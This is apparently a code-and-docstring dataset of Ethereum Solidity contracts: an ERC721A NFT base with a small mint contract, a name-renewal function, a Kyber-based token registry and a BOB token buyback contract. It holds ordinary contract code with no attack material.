interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString(),".json")) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev This is equivalent to _burn(tokenId, false) */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } //Set token uri function /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: contracts/Fak.sol pragma solidity ^0.8.4; contract Slime_Boyz is ERC721A, Ownable { uint256 MAX_MINTS = 100; uint256 MAX_SUPPLY = 3000; uint256 public mintRate = 0.002 ether; string public baseURI = "ipfs://QmU5Hkhevw6gkKiFDz8UiVRBubhsLDz2BSujmY2j5UV46o/"; string public uriSuffix = ".json"; string public hiddenMetadataUri; constructor() ERC721A("Slime Boyz Collectible", "Slime_Boyz_Collectible") {} function mint(uint256 quantity) external payable { // _safeMint's second argument now takes in a quantity, not a tokenId. require(quantity + _numberMinted(msg.sender) <= MAX_MINTS, "Exceeded the limit"); require(totalSupply() + quantity <= MAX_SUPPLY, "Not enough tokens left"); require(msg.value >= (mintRate * quantity), "Not enough ether sent"); _safeMint(msg.sender, quantity); } function withdraw() public onlyOwner { // This will pay COMMANDER 50% of the initial sale. // ============================================================================= (bool hs, ) = payable(0xE549D57beBAB57C86D78B1Eee35bC87b0f577ad5).call{value: address(this).balance * 5 / 10}(""); require(hs); // ============================================================================= // This will transfer the remaining contract balance to the owner. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } function _baseURI() internal view override returns (string memory) { return baseURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setMintRate(uint256 _mintRate) public onlyOwner { mintRate = _mintRate; } }
_safeMint's second argument now takes in a quantity, not a tokenId.
function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity } pragma solidity ^0.8.4; function mint(uint256 quantity) external payable { require(quantity + _numberMinted(msg.sender) <= MAX_MINTS, "Exceeded the limit"); require(totalSupply() + quantity <= MAX_SUPPLY, "Not enough tokens left"); require(msg.value >= (mintRate * quantity), "Not enough ether sent"); _safeMint(msg.sender, quantity); }
6,221,809
./full_match/5/0x54FFCE9bE0C17840103e5b28408932A2C6cC7ED4/sources/contracts/BaseRenewalController.sol
Get the owners of the name and the parent name. Check to make sure the caller (msg.sender) is authorised to renew the name. If the caller paid too much refund the amount overpaid.
function renewWithVersions( uint256 nameWrapperVersion, uint256 subnameWrapperVersion, bytes memory name, address referrer, uint256 duration ) public payable { (bytes32 labelhash, uint256 offset) = name.readLabel(0); bytes32 parentNode = name.namehash(offset); bytes32 node = _makeNode(parentNode, labelhash); address nodeOwner = subnameWrappers[subnameWrapperVersion].ownerOf(uint256(node)); address parentOwner = subnameWrappers[subnameWrapperVersion].ownerOf(uint256(parentNode)); if( msg.sender != nodeOwner && !subnameWrappers[subnameWrapperVersion].isApprovedForAll(nodeOwner, msg.sender)){ revert UnauthorizedAddress_RC(node); } ExpiryMemoryStorage memory m; if (m.nodeExpiry + duration > m.parentExpiry) { duration = m.parentExpiry - m.nodeExpiry; } if (msg.value < price) { revert InsufficientValue_RC(); } subnameWrappers[subnameWrapperVersion].extendExpiry( parentNode, labelhash, m.expiry ); emit NameRenewed(name, price, m.expiry); if (msg.value > price) { payable(msg.sender).transfer(msg.value - price); } }
7,064,044
pragma solidity ^0.4.23; // ---------------------------------------------------------------------------- contract ERC20 { // ERC Token Standard #223 Interface // https://github.com/ethereum/EIPs/issues/223 string public symbol; string public name; uint8 public decimals; function transfer(address _to, uint _value, bytes _data) external returns (bool success); // approveAndCall function approveAndCall(address spender, uint tokens, bytes data) external returns (bool success); // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); // bulk operations function transferBulk(address[] to, uint[] tokens) public; function approveBulk(address[] spender, uint[] tokens) public; } interface TokenRegistryInterface { function getPriceInToken(ERC20 tokenContract, uint128 priceWei) external view returns (uint128); function areAllTokensAllowed(address[] tokens) external view returns (bool); function isTokenInList(address[] allowedTokens, address currentToken) external pure returns (bool); function getDefaultTokens() external view returns (address[]); function getDefaultCreatorTokens() external view returns (address[]); function onTokensReceived(ERC20 tokenContract, uint tokenCount) external; function withdrawEthFromBalance() external; function canConvertToEth(ERC20 tokenContract) external view returns (bool); function convertTokensToEth(ERC20 tokenContract, address seller, uint sellerValue, uint fee) external; } pragma solidity ^0.4.23; // https://etherscan.io/address/0x3127be52acba38beab6b4b3a406dc04e557c037c#code contract PriceOracleInterface { // How much TOKENs you get for 1 ETH, multiplied by 10^18 uint256 public ETHPrice; } pragma solidity ^0.4.18; /// @title Kyber Network interface /// https://raw.githubusercontent.com/KyberNetwork/smart-contracts/master/contracts/KyberNetworkProxyInterface.sol interface KyberNetworkProxyInterface { function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) external view returns (uint expectedRate, uint slippageRate); function swapTokenToEther(ERC20 token, uint srcAmount, uint minConversionRate) external returns(uint); } pragma solidity ^0.4.23; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract TokenRegistry is TokenRegistryInterface, Ownable { mapping (address => PriceOracleInterface) public priceOracle; address[] public allTokens; address[] public allOracleTokens; mapping (address => bool) operators; mapping (address => KyberNetworkProxyInterface) public kyberOracle; ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee); bool public allowConvertTokensToEth = true; modifier onlyOperator() { require(operators[msg.sender] || msg.sender == owner); _; } function addOperator(address _newOperator) public onlyOwner { operators[_newOperator] = true; } function removeOperator(address _oldOperator) public onlyOwner { delete(operators[_oldOperator]); } function setAllowConvertTokensToEth(bool _newValue) public onlyOwner { allowConvertTokensToEth = _newValue; } function getDefaultCreatorTokens() external view returns (address[]) { return allOracleTokens; } function getDefaultTokens() external view returns (address[]) { return allTokens; } function areAllTokensAllowed(address[] _tokens) external view returns (bool) { for (uint i = 0; i < _tokens.length; i++) { if (address(priceOracle[_tokens[i]]) == address(0x0) && address(kyberOracle[_tokens[i]]) == address(0x0)) { return false; } } return true; } function getPriceInToken(ERC20 _tokenContract, uint128 priceWei) external view returns (uint128) { if (isKyberToken(_tokenContract)) { return getPriceInTokenKyber(_tokenContract, priceWei); } else { return getPriceInTokenOracle(_tokenContract, priceWei); } } function getPriceInTokenOracle(ERC20 _tokenContract, uint128 priceWei) public view returns (uint128) { PriceOracleInterface oracle = priceOracle[address(_tokenContract)]; require(address(oracle) != address(0)); uint256 ethPerToken = oracle.ETHPrice(); int256 power = 36 - _tokenContract.decimals(); require(power > 0); return uint128(uint256(priceWei) * ethPerToken / (10 ** uint256(power))); } function getPriceInTokenKyber(ERC20 _tokenContract, uint128 priceWei) public view returns (uint128) { KyberNetworkProxyInterface oracle = kyberOracle[address(_tokenContract)]; require(address(oracle) != address(0)); uint256 ethPerToken; (, ethPerToken) = oracle.getExpectedRate(ETH_TOKEN_ADDRESS, _tokenContract, priceWei); require(ethPerToken > 0); int256 power = 36 - _tokenContract.decimals(); require(power > 0); return uint128(uint256(priceWei) * ethPerToken / (10 ** uint256(power))); } function isTokenInList(address[] _allowedTokens, address _currentToken) external pure returns (bool) { for (uint i = 0; i < _allowedTokens.length; i++) { if (_allowedTokens[i] == _currentToken) { return true; } } return false; } /// @dev Allow buy cuties for token function addToken(ERC20 _tokenContract, PriceOracleInterface _priceOracle) external onlyOwner { // check if not added yet require(address(priceOracle[address(_tokenContract)]) == address(0x0)); require(address(kyberOracle[address(_tokenContract)]) == address(0x0)); priceOracle[address(_tokenContract)] = _priceOracle; allTokens.push(_tokenContract); allOracleTokens.push(_tokenContract); } /// @dev Allow buy cuties for token function addKyberToken(ERC20 _tokenContract, KyberNetworkProxyInterface _priceOracle) external onlyOwner { // check if not added yet require(address(priceOracle[address(_tokenContract)]) == address(0x0)); require(address(kyberOracle[address(_tokenContract)]) == address(0x0)); kyberOracle[address(_tokenContract)] = _priceOracle; allTokens.push(_tokenContract); } /// @dev Disallow buy cuties for token function removeToken(ERC20 _tokenContract) external onlyOwner { delete priceOracle[address(_tokenContract)]; delete kyberOracle[address(_tokenContract)]; /* uint256 kindex = 0; while (kindex < allTokens.length) { if (address(allTokens[kindex]) == address(_tokenContract)) { allTokens[kindex] = allTokens[allTokens.length-1]; allTokens.length--; } else { kindex++; } }*/ uint256 kindex = 0; while (kindex < allOracleTokens.length) { if (address(allOracleTokens[kindex]) == address(_tokenContract)) { allOracleTokens[kindex] = allOracleTokens[allOracleTokens.length-1]; allOracleTokens.length--; } else { kindex++; } } } // @dev Transfers to _withdrawToAddress all tokens controlled by // contract _tokenContract. function withdrawTokenFromBalance(ERC20 _tokenContract, address _withdrawToAddress) external onlyOperator { uint256 balance = _tokenContract.balanceOf(address(this)); _tokenContract.transfer(_withdrawToAddress, balance); } function withdrawEthFromBalance() external onlyOperator { msg.sender.transfer(address(this).balance); } function onTokensReceived(ERC20 tokenContract, uint tokenCount) external onlyOperator { if (canConvertToEth(tokenContract)) { _swapTokenToEther( kyberOracle[address(tokenContract)], tokenContract, tokenCount, this, 0); } } function canConvertToEth(ERC20 tokenContract) public view returns (bool) { return allowConvertTokensToEth && isKyberToken(tokenContract); } function isKyberToken(ERC20 tokenContract) public view returns (bool) { return address(kyberOracle[address(tokenContract)]) != 0x0; } //@dev Converts tokens to ETH and transfers ETH to destAddress minus fee //@fee 0-10,000 means 0%-100% function convertTokensToEth(ERC20 tokenContract, address destAddress, uint tokenCount, uint fee) public onlyOperator { require(allowConvertTokensToEth); _swapTokenToEther( kyberOracle[address(tokenContract)], tokenContract, tokenCount, destAddress, fee); } //@param _kyberNetworkProxy kyberNetworkProxy contract address //@param token source token contract address //@param tokenQty token wei amount //@param destAddress address to send swapped ETH to //@fee 0-10,000 means 0%-100% function _swapTokenToEther(KyberNetworkProxyInterface _kyberNetworkProxy, ERC20 token, uint tokenQty, address destAddress, uint fee) internal { uint minRate; (, minRate) = _kyberNetworkProxy.getExpectedRate(token, ETH_TOKEN_ADDRESS, tokenQty); // Mitigate ERC20 Approve front-running attack, by initially setting // allowance to 0 require(token.approve(_kyberNetworkProxy, 0)); // Approve tokens so network can take them during the swap token.approve(address(_kyberNetworkProxy), tokenQty); uint destAmount = _kyberNetworkProxy.swapTokenToEther(token, tokenQty, minRate); if (destAddress != address(this)) { // Send received ethers to destination address uint sellerValue = destAmount * (10000 - fee) / 10000; destAddress.transfer(sellerValue); } } function () external payable { } }
Converts tokens to ETH and transfers ETH to destAddress minus fee@fee 0-10,000 means 0%-100%
function convertTokensToEth(ERC20 tokenContract, address destAddress, uint tokenCount, uint fee) public onlyOperator { require(allowConvertTokensToEth); _swapTokenToEther( kyberOracle[address(tokenContract)], tokenContract, tokenCount, destAddress, fee); }
12,776,528
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer( ERC20 _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Destructible * @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner. */ contract Destructible is Ownable { /** * @dev Transfers the current balance to the owner and terminates the contract. */ function destroy() public onlyOwner { selfdestruct(owner); } function destroyAndSend(address _recipient) public onlyOwner { selfdestruct(_recipient); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public onlyPendingOwner { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } /** * @title Contracts that should not own Contracts * @author Remco Bloemen <remco@2Ο€.com> * @dev Should contracts (anything Ownable) end up being owned by this contract, it allows the owner * of this contract to reclaim ownership of the contracts. */ contract HasNoContracts is Ownable { /** * @dev Reclaim ownership of Ownable contracts * @param _contractAddr The address of the Ownable to be reclaimed. */ function reclaimContract(address _contractAddr) external onlyOwner { Ownable contractInst = Ownable(_contractAddr); contractInst.transferOwnership(owner); } } /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20; /** * @dev Reclaim all ERC20 compatible tokens * @param _token ERC20 The address of the token contract */ function reclaimToken(ERC20 _token) external onlyOwner { uint256 balance = _token.balanceOf(this); _token.safeTransfer(owner, balance); } } /** * Automated buy back BOB tokens */ contract BobBuyback is Claimable, HasNoContracts, CanReclaimToken, Destructible { using SafeMath for uint256; ERC20 public token; //Address of BOB token contract uint256 public maxGasPrice; //Highest gas price allowed for buyback transaction uint256 public maxTxValue; //Highest amount of BOB sent in one transaction uint256 public roundStartTime; //Timestamp when buyback starts (timestamp of the first block where buyback allowed) uint256 public rate; //1 ETH = rate BOB event Buyback(address indexed from, uint256 amountBob, uint256 amountEther); constructor(ERC20 _token, uint256 _maxGasPrice, uint256 _maxTxValue) public { token = _token; maxGasPrice = _maxGasPrice; maxTxValue = _maxTxValue; roundStartTime = 0; rate = 0; } /** * @notice Somebody may call this to sell his tokens * @param _amount How much tokens to sell * Call to token.approve() required before calling this function */ function buyback(uint256 _amount) external { require(tx.gasprice <= maxGasPrice); require(_amount <= maxTxValue); require(isRunning()); uint256 amount = _amount; uint256 reward = calcReward(amount); if(address(this).balance < reward) { //If not enough money to fill request, handle it partially reward = address(this).balance; amount = reward.mul(rate); } require(token.transferFrom(msg.sender, address(this), amount)); msg.sender.transfer(reward); emit Buyback(msg.sender, amount, reward); } /** * @notice Calculates how much ETH somebody can receive for selling amount BOB * @param amount How much tokens to sell */ function calcReward(uint256 amount) view public returns(uint256) { if(rate == 0) return 0; //Handle situation when no Buyback is planned return amount.div(rate); //This operation may result in rounding. Which is fine here (rounded amount < rate / 10**18) } /** * @notice Calculates how much BOB tokens this contract can buy (during current buyback round) */ function calcTokensAvailableToBuyback() view public returns(uint256) { return address(this).balance.mul(rate); } /** * @notice Checks if Buyback round is running */ function isRunning() view public returns(bool) { return (rate > 0) && (now >= roundStartTime) && (address(this).balance > 0); } /** * @notice Changes buyback parameters * @param _maxGasPrice Max gas price one ca use to sell is tokens. * @param _maxTxValue Max amount of tokens to sell in one 